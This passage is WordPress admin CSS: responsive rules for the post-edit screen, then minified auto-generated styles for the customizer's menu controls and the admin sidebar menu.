		height: 0;
		min-height: 0;
	}

	#poststuff #post-body.columns-2 #side-sortables {
		min-height: 0;
		width: auto;
	}

	/* Increase min-height while dragging for the #side-sortables and any potential sortables area with custom ID. */
	.is-dragging-metaboxes #poststuff #postbox-container-1 .empty-container,
	.is-dragging-metaboxes #poststuff #postbox-container-1 #side-sortables:empty,
	.is-dragging-metaboxes #poststuff #post-body.columns-2 #side-sortables,
	.is-dragging-metaboxes #poststuff #post-body.columns-2 .meta-box-sortables {
		height: auto;
		min-height: 60px;
	}

	/* hide the radio buttons for column prefs */
	.screen-layout,
	.columns-prefs {
		display: none;
	}
}

@media screen and (max-width: 782px) {
	.wp-core-ui .edit-tag-actions .button-primary {
		margin-bottom: 0;
	}

	#post-body-content {
		min-width: 0;
	}

	#titlediv #title-prompt-text {
		padding: 10px;
	}

	#poststuff .stuffbox .inside {
		padding: 0 0 4px 2px;
	}

	#poststuff h3.hndle, /* Back-compat for pre-4.4 */
	#poststuff .stuffbox > h3, /* Back-compat for pre-4.4 */
	#poststuff h2 {
		padding: 12px;
	}

	#namediv.stuffbox .editcomment.form-table td {
		padding: 5px 10px;
	}

	.post-format-options {
		padding-left: 0;
	}

	.post-format-options a {
		margin-left: 5px;
		margin-bottom: 5px;
		min-width: 52px;
	}

	.post-format-options .post-format-title {
		font-size: 11px;
	}

	.post-format-options a div {
		height: 28px;
		width: 28px;
	}

	.post-format-options a div:before {
		font-size: 26px !important;
	}

	/* Publish Metabox Options */
	#post-visibility-select {
		line-height: 280%;
	}

	.wp-core-ui .save-post-visibility,
	.wp-core-ui .save-timestamp {
		vertical-align: middle;
		margin-left: 15px;
	}

	.timestamp-wrap select#mm {
		display: block;
		width: 100%;
		margin-bottom: 10px;
	}

	.timestamp-wrap #jj,
	.timestamp-wrap #aa,
	.timestamp-wrap #hh,
	.timestamp-wrap #mn {
		padding: 12px 3px;
		font-size: 14px;
		margin-bottom: 5px;
		width: auto;
		text-align: center;
	}

	/* Categories Metabox */
	ul.category-tabs {
		margin: 30px 0 15px;
	}

	ul.category-tabs li.tabs {
		padding: 15px;
	}

	ul.categorychecklist li {
		margin-bottom: 15px;
	}

	ul.categorychecklist ul {
		margin-top: 15px;
	}

	.category-add input[type=text],
	.category-add select {
		max-width: none;
		margin-bottom: 15px;
	}

	/* Tags Metabox */
	.tagsdiv .newtag {
		width: 100%;
		height: auto;
		margin-bottom: 15px;
	}

	.tagchecklist {
		margin: 25px 10px;
	}

	.tagchecklist > li {
		font-size: 16px;
		line-height: 1.4;
	}

	/* Discussion */
	#commentstatusdiv p {
		line-height: 2.8;
	}

	/* TinyMCE Adjustments */
	.mceToolbar * {
		white-space: normal !important;
	}

	.mceToolbar tr,
	.mceToolbar td {
		float: right !important;
	}

	.wp_themeSkin a.mceButton {
		width: 30px;
		height: 30px;
	}

	.wp_themeSkin .mceButton .mceIcon {
		margin-top: 5px;
		margin-right: 5px;
	}

	.wp_themeSkin .mceSplitButton {
		margin-top: 1px;
	}

	.wp_themeSkin .mceSplitButton td a.mceAction {
		padding: 6px 6px 6px 3px;
	}

	.wp_themeSkin .mceSplitButton td a.mceOpen,
	.wp_themeSkin .mceSplitButtonEnabled:hover td a.mceOpen {
		padding-top: 6px;
		padding-bottom: 6px;
		background-position: 1px 6px;
	}

	.wp_themeSkin table.mceListBox {
		margin: 5px;
	}

	div.quicktags-toolbar input {
		padding: 10px 20px;
	}

	button.wp-switch-editor {
		font-size: 16px;
		line-height: 1;
		margin: 7px 7px 0 0;
		padding: 8px 12px;
	}

	#wp-content-media-buttons a {
		font-size: 14px;
		padding: 6px 10px;
	}

	.wp-media-buttons span.wp-media-buttons-icon,
	.wp-media-buttons span.jetpack-contact-form-icon {
		width: 22px !important;
		margin-right: -2px !important;
	}

	.wp-media-buttons .add_media span.wp-media-buttons-icon:before,
	.wp-media-buttons #insert-jetpack-contact-form span.jetpack-contact-form-icon:before {
		font-size: 20px !important;
	}

	#content_wp_fullscreen {
		display: none;
	}

	.misc-pub-section {
		padding: 20px 10px;
	}

	#delete-action,
	#publishing-action {
		line-height: 3.61538461;
	}

	#publishing-action .spinner {
		float: none;
		margin-top: -2px; /* Half of the Publish button's bottom margin. */
	}

	/* Moderate Comment */
	.comment-ays th,
	.comment-ays td {
		padding-bottom: 0;
	}

	.comment-ays td {
		padding-top: 6px;
	}

	/* Links */
	.links-table #link_rel {
		max-width: none;
	}

	.links-table th,
	.links-table td {
		padding: 10px 0;
	}

	.edit-term-notes {
		display: none;
	}

	.privacy-text-box {
		width: auto;
	}

	.privacy-text-box-toc {
		float: none;
		width: auto;
		height: 100%;
		display: flex;
		flex-direction: column;
	}

	.privacy-text-section .return-to-top {
		margin: 2em 0 0;
	}
}
/*! This file is auto-generated */
#customize-theme-controls #accordion-section-menu_locations{position:relative;margin-top:30px}#customize-theme-controls #accordion-section-menu_locations>.accordion-section-title{border-bottom-color:#dcdcde;margin-top:15px}#customize-theme-controls .customize-section-title-menu_locations-description,#customize-theme-controls .customize-section-title-menu_locations-heading,#customize-theme-controls .customize-section-title-nav_menus-heading{padding:0 12px}#customize-theme-controls .customize-control-description.customize-section-title-menu_locations-description{font-style:normal}.menu-in-location,.menu-in-locations{display:block;font-weight:600;font-size:10px}#customize-controls .control-section .accordion-section-title:focus .menu-in-location,#customize-controls .control-section .accordion-section-title:hover .menu-in-location,#customize-controls .theme-location-set{color:#50575e}.customize-control-nav_menu_location .create-menu,.customize-control-nav_menu_location .edit-menu{margin-left:6px;vertical-align:middle;line-height:2.2}#customize-controls .customize-control-nav_menu_name{margin-bottom:12px}.customize-control-nav_menu_name p:last-of-type{margin-bottom:0}#customize-new-menu-submit{float:right;min-width:85px}.wp-customizer .menu-item-bar .menu-item-handle,.wp-customizer .menu-item-settings,.wp-customizer .menu-item-settings .description-thin{box-sizing:border-box}.wp-customizer .menu-item-bar{margin:0}.wp-customizer .menu-item-bar .menu-item-handle{width:100%;max-width:100%;background:#fff}.wp-customizer .menu-item-handle .item-title{margin-right:0}.wp-customizer .menu-item-handle .item-type{padding:1px 21px 0 5px;float:right;text-align:right}.wp-customizer .menu-item-handle:hover{z-index:8}.customize-control-nav_menu_item.has-notifications .menu-item-handle{border-left:4px solid #72aee6}.wp-customizer .menu-item-settings{max-width:100%;overflow:hidden;z-index:8;padding:10px;background:#f0f0f1;border:1px solid #8c8f94;border-top:none}.wp-customizer .menu-item-settings .description-thin{width:100%;height:auto;margin:0 0 8px}.wp-customizer .menu-item-settings input[type=text]{width:100%}.wp-customizer .menu-item-settings .submitbox{margin:0;padding:0}.wp-customizer .menu-item-settings .link-to-original{padding:5px 0;border:none;font-style:normal;margin:0;width:100%}.wp-customizer .menu-item .submitbox .submitdelete{float:left;margin:6px 0 0;padding:0;cursor:pointer}.menu-item-reorder-nav{display:none;background-color:#fff;position:absolute;top:0;right:0}.menus-move-left:before{content:"\f341"}.menus-move-right:before{content:"\f345"}.reordering .menu-item .item-controls,.reordering .menu-item .item-type{display:none}.reordering .menu-item-reorder-nav{display:block}.customize-control input.menu-name-field{width:100%}.wp-customizer .menu-item .item-edit{position:absolute;right:-19px;top:2px;display:block;width:30px;height:38px;margin-right:0!important;box-shadow:none;outline:0;overflow:hidden;cursor:pointer;text-align:center}.wp-customizer .menu-item.menu-item-edit-active .item-edit .toggle-indicator:before{content:"\f142"}.wp-customizer .menu-item-settings p.description{font-style:normal}.wp-customizer .menu-settings dl{margin:12px 0 0;padding:0}.wp-customizer .menu-settings .checkbox-input{margin-top:8px}.wp-customizer .menu-settings .menu-theme-locations{border-top:1px solid #c3c4c7}.wp-customizer .menu-settings{margin-top:36px;border-top:none}.wp-customizer .menu-location-settings{margin-top:12px;border-top:none}.wp-customizer .control-section-nav_menu .menu-location-settings{margin-top:24px;border-top:1px solid #dcdcde}.customize-control-nav_menu_auto_add,.wp-customizer .control-section-nav_menu .menu-location-settings{padding-top:12px}.menu-location-settings .customize-control-checkbox .theme-location-set{line-height:1}.customize-control-nav_menu_auto_add label{vertical-align:top}.menu-location-settings .new-menu-locations-widget-note{display:block}.customize-control-menu{margin-top:4px}#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle{color:#50575e}.customize-screen-options-toggle{background:0 0;border:none;color:#50575e;cursor:pointer;margin:0;padding:20px;position:absolute;right:0;top:30px}#customize-controls .customize-info .customize-help-toggle{padding:20px}#customize-controls .customize-info .customize-help-toggle:before{padding:4px}#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.active-menu-screen-options .customize-screen-options-toggle,.customize-screen-options-toggle:active,.customize-screen-options-toggle:focus,.customize-screen-options-toggle:hover{color:#2271b1}#customize-controls .customize-info .customize-help-toggle:focus,.customize-screen-options-toggle:focus{outline:2px solid transparent}.customize-screen-options-toggle:before{-moz-osx-font-smoothing:grayscale;border:none;content:"\f111";display:block;font:18px/1 dashicons;padding:5px;text-align:center;text-decoration:none!important;text-indent:0;left:6px;position:absolute;top:6px}#customize-controls .customize-info .customize-help-toggle:focus:before,.customize-screen-options-toggle:focus:before{border-radius:100%}.wp-customizer #screen-options-wrap{display:none;background:#fff;border-top:1px solid #dcdcde;padding:4px 15px 15px}.wp-customizer .metabox-prefs label{display:block;padding-right:0;line-height:30px}.wp-customizer .toggle-indicator{display:inline-block;font-size:20px;line-height:1}.rtl .wp-customizer .toggle-indicator{text-indent:1px}#available-menu-items .accordion-section-title .toggle-indicator:before,.wp-customizer .menu-item .item-edit .toggle-indicator:before{content:"\f140";display:block;padding:1px 2px 1px 0;speak:never;border-radius:50%;color:#787c82;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important}.control-section-nav_menu .field-css-classes,.control-section-nav_menu .field-description,.control-section-nav_menu .field-link-target,.control-section-nav_menu .field-title-attribute,.control-section-nav_menu .field-xfn{display:none}.control-section-nav_menu.field-css-classes-active .field-css-classes,.control-section-nav_menu.field-description-active .field-description,.control-section-nav_menu.field-link-target-active .field-link-target,.control-section-nav_menu.field-title-attribute-active .field-title-attribute,.control-section-nav_menu.field-xfn-active .field-xfn{display:block}.menu-item-depth-0{margin-left:0}.menu-item-depth-1{margin-left:20px}.menu-item-depth-2{margin-left:40px}.menu-item-depth-3{margin-left:60px}.menu-item-depth-4{margin-left:80px}.menu-item-depth-5{margin-left:100px}.menu-item-depth-6{margin-left:120px}.menu-item-depth-7{margin-left:140px}.menu-item-depth-8{margin-left:160px}.menu-item-depth-9{margin-left:180px}.menu-item-depth-10{margin-left:200px}.menu-item-depth-11{margin-left:220px}.menu-item-depth-0>.menu-item-bar{margin-right:0}.menu-item-depth-1>.menu-item-bar{margin-right:20px}.menu-item-depth-2>.menu-item-bar{margin-right:40px}.menu-item-depth-3>.menu-item-bar{margin-right:60px}.menu-item-depth-4>.menu-item-bar{margin-right:80px}.menu-item-depth-5>.menu-item-bar{margin-right:100px}.menu-item-depth-6>.menu-item-bar{margin-right:120px}.menu-item-depth-7>.menu-item-bar{margin-right:140px}.menu-item-depth-8>.menu-item-bar{margin-right:160px}.menu-item-depth-9>.menu-item-bar{margin-right:180px}.menu-item-depth-10>.menu-item-bar{margin-right:200px}.menu-item-depth-11>.menu-item-bar{margin-right:220px}.menu-item-depth-0 .menu-item-transport{margin-left:0}.menu-item-depth-1 .menu-item-transport{margin-left:-20px}.menu-item-depth-3 .menu-item-transport{margin-left:-60px}.menu-item-depth-4 .menu-item-transport{margin-left:-80px}.menu-item-depth-2 .menu-item-transport{margin-left:-40px}.menu-item-depth-5 .menu-item-transport{margin-left:-100px}.menu-item-depth-6 .menu-item-transport{margin-left:-120px}.menu-item-depth-7 .menu-item-transport{margin-left:-140px}.menu-item-depth-8 .menu-item-transport{margin-left:-160px}.menu-item-depth-9 .menu-item-transport{margin-left:-180px}.menu-item-depth-10 .menu-item-transport{margin-left:-200px}.menu-item-depth-11 .menu-item-transport{margin-left:-220px}.reordering .menu-item-depth-0{margin-left:0}.reordering .menu-item-depth-1{margin-left:15px}.reordering .menu-item-depth-2{margin-left:30px}.reordering .menu-item-depth-3{margin-left:45px}.reordering .menu-item-depth-4{margin-left:60px}.reordering .menu-item-depth-5{margin-left:75px}.reordering .menu-item-depth-6{margin-left:90px}.reordering .menu-item-depth-7{margin-left:105px}.reordering .menu-item-depth-8{margin-left:120px}.reordering .menu-item-depth-9{margin-left:135px}.reordering .menu-item-depth-10{margin-left:150px}.reordering .menu-item-depth-11{margin-left:165px}.reordering .menu-item-depth-0>.menu-item-bar{margin-right:0}.reordering .menu-item-depth-1>.menu-item-bar{margin-right:15px}.reordering .menu-item-depth-2>.menu-item-bar{margin-right:30px}.reordering .menu-item-depth-3>.menu-item-bar{margin-right:45px}.reordering .menu-item-depth-4>.menu-item-bar{margin-right:60px}.reordering .menu-item-depth-5>.menu-item-bar{margin-right:75px}.reordering .menu-item-depth-6>.menu-item-bar{margin-right:90px}.reordering .menu-item-depth-7>.menu-item-bar{margin-right:105px}.reordering .menu-item-depth-8>.menu-item-bar{margin-right:120px}.reordering .menu-item-depth-9>.menu-item-bar{margin-right:135px}.reordering .menu-item-depth-10>.menu-item-bar{margin-right:150px}.reordering .menu-item-depth-11>.menu-item-bar{margin-right:165px}.control-section-nav_menu.menu .menu-item-edit-active{margin-left:0}.control-section-nav_menu.menu .menu-item-edit-active .menu-item-bar{margin-right:0}.control-section-nav_menu.menu .sortable-placeholder{margin-top:0;margin-bottom:1px;max-width:calc(100% - 2px);float:left;display:list-item;border-color:#a7aaad}.menu-item-transport li.customize-control{float:none}.control-section-nav_menu.menu ul.menu-item-transport .menu-item-bar{margin-top:0}.adding-menu-items .control-section{opacity:.4}.adding-menu-items .control-panel.control-section,.adding-menu-items .control-section.open{opacity:1}.menu-item-bar .item-delete{color:#d63638;position:absolute;top:2px;right:-19px;width:30px;height:38px;cursor:pointer;display:none}.menu-item-bar .item-delete:before{content:"\f335";position:absolute;top:9px;left:5px;border-radius:50%;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.menu-item-bar .item-delete:focus,.menu-item-bar .item-delete:hover{box-shadow:none;outline:0;color:#d63638}.adding-menu-items .menu-item-bar .item-edit{display:none}.adding-menu-items .menu-item-bar .item-delete{display:block}#available-menu-items.opening{overflow-y:hidden}#available-menu-items #available-menu-items-search.open{height:100%;border-bottom:none}#available-menu-items .accordion-section-title{border-left:none;border-right:none;background:#fff;transition:background-color .15s;-webkit-user-select:auto;user-select:auto}#available-menu-items #available-menu-items-search .accordion-section-title,#available-menu-items .open .accordion-section-title{background:#f0f0f1}#available-menu-items .accordion-section-title:after{content:none!important}#available-menu-items .accordion-section-title:hover .toggle-indicator:before,#available-menu-items .button-link:focus .toggle-indicator:before,#available-menu-items .button-link:hover .toggle-indicator:before{color:#1d2327}#available-menu-items .open .accordion-section-title .toggle-indicator:before{content:"\f142";color:#1d2327}#available-menu-items .available-menu-items-list{overflow-y:auto;max-height:200px;background:0 0}#available-menu-items .accordion-section-title button{display:block;width:28px;height:35px;position:absolute;top:5px;right:5px;box-shadow:none;outline:0;cursor:pointer;text-align:center}#available-menu-items .accordion-section-title .no-items,#available-menu-items .cannot-expand .accordion-section-title .spinner,#available-menu-items .cannot-expand .accordion-section-title>button{display:none}#available-menu-items-search.cannot-expand .accordion-section-title .spinner{display:block}#available-menu-items .cannot-expand .accordion-section-title .no-items{float:right;color:#50575e;font-weight:400;margin-left:5px}#available-menu-items .accordion-section-content{max-height:290px;margin:0;padding:0;position:relative;background:0 0}#available-menu-items .accordion-section-content .available-menu-items-list{margin:0 0 45px;padding:1px 15px 15px}#available-menu-items .accordion-section-content .available-menu-items-list:only-child{margin-bottom:0}#new-custom-menu-item .accordion-section-content{padding:0 15px 15px}#available-menu-items .menu-item-tpl{margin:0}#available-menu-items .new-content-item .create-item-input.invalid,#available-menu-items .new-content-item .create-item-input.invalid:focus,#custom-menu-item-name.invalid,#custom-menu-item-url.invalid,.edit-menu-item-url.invalid,.menu-name-field.invalid,.menu-name-field.invalid:focus{border:1px solid #d63638}#available-menu-items .menu-item-handle .item-type{padding-right:0}#available-menu-items .menu-item-handle .item-title{padding-left:20px}#available-menu-items .menu-item-handle{cursor:pointer}#available-menu-items .menu-item-handle{box-shadow:none;margin-top:-1px}#available-menu-items .menu-item-handle:hover{z-index:1}#available-menu-items .item-title h4{padding:0 0 5px;font-size:14px}#available-menu-items .item-add{position:absolute;top:1px;left:1px;color:#8c8f94;width:30px;height:38px;box-shadow:none;outline:0;cursor:pointer;text-align:center}#available-menu-items .menu-item-handle .item-add:focus{color:#1d2327}#available-menu-items .item-add:before{content:"\f543";position:relative;left:2px;top:3px;display:inline-block;height:20px;border-radius:50%;font:normal 20px/1.05 dashicons}#available-menu-items .menu-item-handle.item-added .item-add:focus,#available-menu-items .menu-item-handle.item-added .item-title,#available-menu-items .menu-item-handle.item-added .item-type,#available-menu-items .menu-item-handle.item-added:hover .item-add{color:#8c8f94}#available-menu-items .menu-item-handle.item-added .item-add:before{content:"\f147"}#available-menu-items .accordion-section-title.loading .spinner,#available-menu-items-search.loading .accordion-section-title .spinner{visibility:visible;margin:0 20px}#available-menu-items-search .spinner{position:absolute;top:20px;right:21px;margin:0!important}#available-menu-items #available-menu-items-search .accordion-section-content{position:absolute;left:0;top:60px;bottom:0;max-height:none;width:100%;padding:1px 15px 15px;box-sizing:border-box}#available-menu-items-search .nothing-found{margin-top:-1px}#available-menu-items-search .accordion-section-title:after{display:none}#available-menu-items-search .accordion-section-content:empty{min-height:0;padding:0}#available-menu-items-search.loading .accordion-section-content div{opacity:.5}#available-menu-items-search.loading.loading-more .accordion-section-content div{opacity:1}#customize-preview{transition:all .2s}body.adding-menu-items #available-menu-items{left:0;visibility:visible}body.adding-menu-items .wp-full-overlay-main{left:300px}body.adding-menu-items #customize-preview{opacity:.4}body.adding-menu-items #customize-preview iframe{pointer-events:none}.menu-item-handle .spinner{display:none;float:left;margin:0 8px 0 0}.nav-menu-inserted-item-loading .spinner{display:block}.nav-menu-inserted-item-loading .menu-item-handle .item-type{padding:0 0 0 8px}.added-menu-item .menu-item-handle.loading,.nav-menu-inserted-item-loading .menu-item-handle{padding:10px 15px 10px 8px;cursor:default;opacity:.5;background:#fff;color:#787c82}.added-menu-item .menu-item-handle{transition-property:opacity,background,color;transition-duration:1.25s;transition-timing-function:cubic-bezier(.25,-2.5,.75,8)}#customize-theme-controls .control-panel-content .control-section-nav_menu:nth-last-child(2) .accordion-section-title{border-bottom-color:#dcdcde}#accordion-section-add_menu{margin:15px 12px}#accordion-section-add_menu h3{text-align:right}#accordion-section-add_menu .customize-add-menu-button,#accordion-section-add_menu h3{margin:0}#accordion-section-add_menu .customize-add-menu-button{font-weight:400}#create-new-menu-submit{float:right;margin:0 0 12px}.menu-delete-item{float:left;padding:1em 0;width:100%}.assigned-menu-locations-title p{margin:0 0 8px}li.assigned-to-menu-location .menu-delete-item{display:none}li.assigned-to-menu-location .add-new-menu-item{margin-bottom:1em}.menu-item-handle{margin-top:-1px}.ui-sortable-disabled .menu-item-handle{cursor:default}.menu-item-handle:hover{position:relative;z-index:10;color:#2271b1}#available-menu-items .menu-item-handle:hover .item-add,.menu-item-handle:hover .item-edit,.menu-item-handle:hover .item-type{color:#2271b1}.menu-item-edit-active .menu-item-handle{border-color:#8c8f94;border-bottom:none}.customize-control-nav_menu_item{margin-bottom:0}.customize-control-nav_menu .new-menu-item-invitation{margin-top:0;margin-bottom:0}.customize-control-nav_menu .customize-control-nav_menu-buttons{margin-top:12px}#available-menu-items .item-add:focus:before,#customize-controls .customize-info .customize-help-toggle:focus:before,.customize-screen-options-toggle:focus:before,.menu-delete:focus,.menu-item-bar .item-delete:focus:before,.wp-customizer .menu-item .submitbox .submitdelete:focus,.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}@media screen and (max-width:782px){#available-menu-items #available-menu-items-search .accordion-section-content{top:63px}}@media screen and (max-width:640px){#available-menu-items #available-menu-items-search .accordion-section-content{top:130px}}/*! This file is auto-generated */
#adminmenu,#adminmenu .wp-submenu,#adminmenuback,#adminmenuwrap{width:160px;background-color:#1d2327}#adminmenuback{position:fixed;top:0;bottom:-120px;z-index:1}.php-error #adminmenuback{position:absolute}.php-error #adminmenuback,.php-error #adminmenuwrap{margin-top:2em}#adminmenu{clear:left;margin:12px 0;padding:0;list-style:none}.folded #adminmenu,.folded #adminmenu li.menu-top,.folded #adminmenuback,.folded #adminmenuwrap{width:36px}.menu-icon-appearance div.wp-menu-image,.menu-icon-comments div.wp-menu-image,.menu-icon-dashboard div.wp-menu-image,.menu-icon-generic div.wp-menu-image,.menu-icon-links div.wp-menu-image,.menu-icon-media div.wp-menu-image,.menu-icon-page div.wp-menu-image,.menu-icon-plugins div.wp-menu-image,.menu-icon-post div.wp-menu-image,.menu-icon-settings div.wp-menu-image,.menu-icon-site div.wp-menu-image,.menu-icon-tools div.wp-menu-image,.menu-icon-users div.wp-menu-image{background-image:none!important}#adminmenuwrap{position:relative;float:left;z-index:9990}#adminmenu *{-webkit-user-select:none;user-select:none}#adminmenu li{margin:0;padding:0}#adminmenu a{display:block;line-height:1.3;padding:2px 5px;color:#f0f0f1}#adminmenu .wp-submenu a{color:#c3c4c7;color:rgba(240,246,252,.7);font-size:13px;line-height:1.4;margin:0;padding:5px 0}#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover{background:0 0}#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a:hover,#adminmenu li.menu-top>a:focus{color:#72aee6}#adminmenu a:focus,#adminmenu a:hover,.folded #adminmenu .wp-submenu-head:hover{box-shadow:inset 4px 0 0 0 currentColor;transition:box-shadow .1s linear}#adminmenu li.menu-top{border:none;min-height:34px;position:relative}#adminmenu .wp-submenu{list-style:none;position:absolute;top:-1000em;left:160px;overflow:visible;word-wrap:break-word;padding:7px 0 8px;z-index:9999;background-color:#2c3338;box-shadow:0 3px 5px rgba(0,0,0,.2)}#adminmenu a.menu-top:focus+.wp-submenu,.js #adminmenu .opensub .wp-submenu,.js #adminmenu .sub-open,.no-js li.wp-has-submenu:hover .wp-submenu{top:-1px}#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{top:0}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu .wp-submenu.sub-open,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,.no-js li.wp-has-current-submenu:hover .wp-submenu{position:relative;z-index:3;top:auto;left:auto;right:auto;bottom:auto;border:0 none;margin-top:0;box-shadow:none}.folded #adminmenu .wp-has-current-submenu .wp-submenu{box-shadow:0 3px 5px rgba(0,0,0,.2)}#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{position:relative;background-color:#1d2327;color:#72aee6}.folded #adminmenu li.menu-top:hover,.folded #adminmenu li.opensub>a.menu-top,.folded #adminmenu li>a.menu-top:focus{z-index:10000}#adminmenu .wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu .wp-menu-arrow,#adminmenu .wp-menu-arrow div,#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu{background:#2271b1;color:#fff}.folded #adminmenu .opensub .wp-submenu,.folded #adminmenu .wp-has-current-submenu .wp-submenu.sub-open,.folded #adminmenu .wp-has-current-submenu a.menu-top:focus+.wp-submenu,.folded #adminmenu .wp-has-current-submenu.opensub .wp-submenu,.folded #adminmenu .wp-submenu.sub-open,.folded #adminmenu a.menu-top:focus+.wp-submenu,.no-js.folded #adminmenu .wp-has-submenu:hover .wp-submenu{top:0;left:36px}.folded #adminmenu .wp-has-current-submenu .wp-submenu,.folded #adminmenu a.wp-has-current-submenu:focus+.wp-submenu{position:absolute;top:-1000em}#adminmenu .wp-not-current-submenu .wp-submenu,.folded #adminmenu .wp-has-current-submenu .wp-submenu{min-width:160px;width:auto;border-left:5px solid transparent}#adminmenu .opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current,#adminmenu .wp-submenu li.current a,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-not-current-submenu li>a,.folded #adminmenu .wp-has-current-submenu li>a{padding-right:16px;padding-left:14px;transition:all .1s ease-in-out,outline 0s}#adminmenu .wp-has-current-submenu ul>li>a,.folded #adminmenu li.menu-top .wp-submenu>li>a{padding:5px 12px}#adminmenu .wp-submenu-head,#adminmenu a.menu-top{font-size:14px;font-weight:400;line-height:1.3;padding:0}#adminmenu .wp-submenu-head{display:none}.folded #adminmenu .wp-menu-name{position:absolute;left:-999px}.folded #adminmenu .wp-submenu-head{display:block}#adminmenu .wp-submenu li{padding:0;margin:0}#adminmenu .wp-menu-image img{padding:9px 0 0;opacity:.6}#adminmenu div.wp-menu-name{padding:8px 8px 8px 36px;overflow-wrap:break-word;word-wrap:break-word;-ms-word-break:break-all;word-break:break-word;-webkit-hyphens:auto;hyphens:auto}#adminmenu div.wp-menu-image{float:left;width:36px;height:34px;margin:0;text-align:center}#adminmenu div.wp-menu-image.svg{background-repeat:no-repeat;background-position:center;background-size:20px auto}div.wp-menu-image:before{color:#a7aaad;color:rgba(240,246,252,.6);padding:7px 0;transition:all .1s ease-in-out}#adminmenu div.wp-menu-image:before{color:#a7aaad;color:rgba(240,246,252,.6)}#adminmenu .current div.wp-menu-image:before,#adminmenu .wp-has-current-submenu div.wp-menu-image:before,#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu a.wp-has-current-submenu:hover div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu:hover div.wp-menu-image:before{color:#fff}#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#72aee6}.folded #adminmenu div.wp-menu-image{width:35px;height:30px;position:absolute;z-index:25}.folded #adminmenu a.menu-top{height:34px}.sticky-menu #adminmenuwrap{position:fixed}.wp-menu-arrow{display:none!important}ul#adminmenu a.wp-has-current-submenu{position:relative}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{right:0;border:solid 8px transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#f0f0f1;top:50%;margin-top:-8px}.folded ul#adminmenu li.wp-has-current-submenu:focus-within a.wp-has-current-submenu:after,.folded ul#adminmenu li:hover a.wp-has-current-submenu:after{display:none}.folded ul#adminmenu a.wp-has-current-submenu:after,.folded ul#adminmenu>li a.current:after{border-width:4px;margin-top:-4px}#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after{right:0;border:8px solid transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;top:10px;z-index:10000}.folded ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after,.folded ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after{border-width:4px;margin-top:-4px;top:18px}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-right-color:#2c3338}#adminmenu li.menu-top:hover .wp-menu-image img,#adminmenu li.wp-has-current-submenu .wp-menu-image img{opacity:1}#adminmenu li.wp-menu-separator{height:5px;padding:0;margin:0 0 6px;cursor:inherit}#adminmenu div.separator{height:2px;padding:0}#adminmenu .wp-submenu .wp-submenu-head{color:#fff;font-weight:400;font-size:14px;padding:5px 4px 5px 11px;margin:-7px 0 4px -5px;border-width:3px 0 3px 5px;border-style:solid;border-color:transparent}#adminmenu li.current,.folded #adminmenu li.wp-menu-open{border:0 none}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{display:inline-block;vertical-align:top;box-sizing:border-box;margin:1px 0 -1px 2px;padding:0 5px;min-width:18px;height:18px;border-radius:9px;background-color:#d63638;color:#fff;font-size:11px;line-height:1.6;text-align:center;z-index:26}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod{background-color:#d63638;color:#fff}#adminmenu li span.count-0{display:none}#collapse-button{display:block;width:100%;height:34px;margin:0;border:none;padding:0;position:relative;overflow:visible;background:0 0;color:#a7aaad;cursor:pointer}#collapse-button:hover{color:#72aee6}#collapse-button:focus{color:#72aee6;outline:1px solid transparent;outline-offset:-1px}#collapse-button .collapse-button-icon,#collapse-button .collapse-button-label{display:block;position:absolute;top:0;left:0}#collapse-button .collapse-button-label{top:8px}#collapse-button .collapse-button-icon{width:36px;height:34px}#collapse-button .collapse-button-label{padding:0 0 0 36px}.folded #collapse-button .collapse-button-label{display:none}#collapse-button .collapse-button-icon:after{content:"\f148";display:block;position:relative;top:7px;text-align:center;font:normal 20px/1 dashicons!important;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.folded #collapse-button .collapse-button-icon:after,.rtl #collapse-button .collapse-button-icon:after{transform:rotate(180deg)}.rtl.folded #collapse-button .collapse-button-icon:after{transform:none}#collapse-button .collapse-button-icon:after,#collapse-button .collapse-button-label{transition:all .1s ease-in-out}li#wp-admin-bar-menu-toggle{display:none}.customize-support #menu-appearance a[href="themes.php?page=custom-background"],.customize-support #menu-appearance a[href="themes.php?page=custom-header"]{display:none}@media only screen and 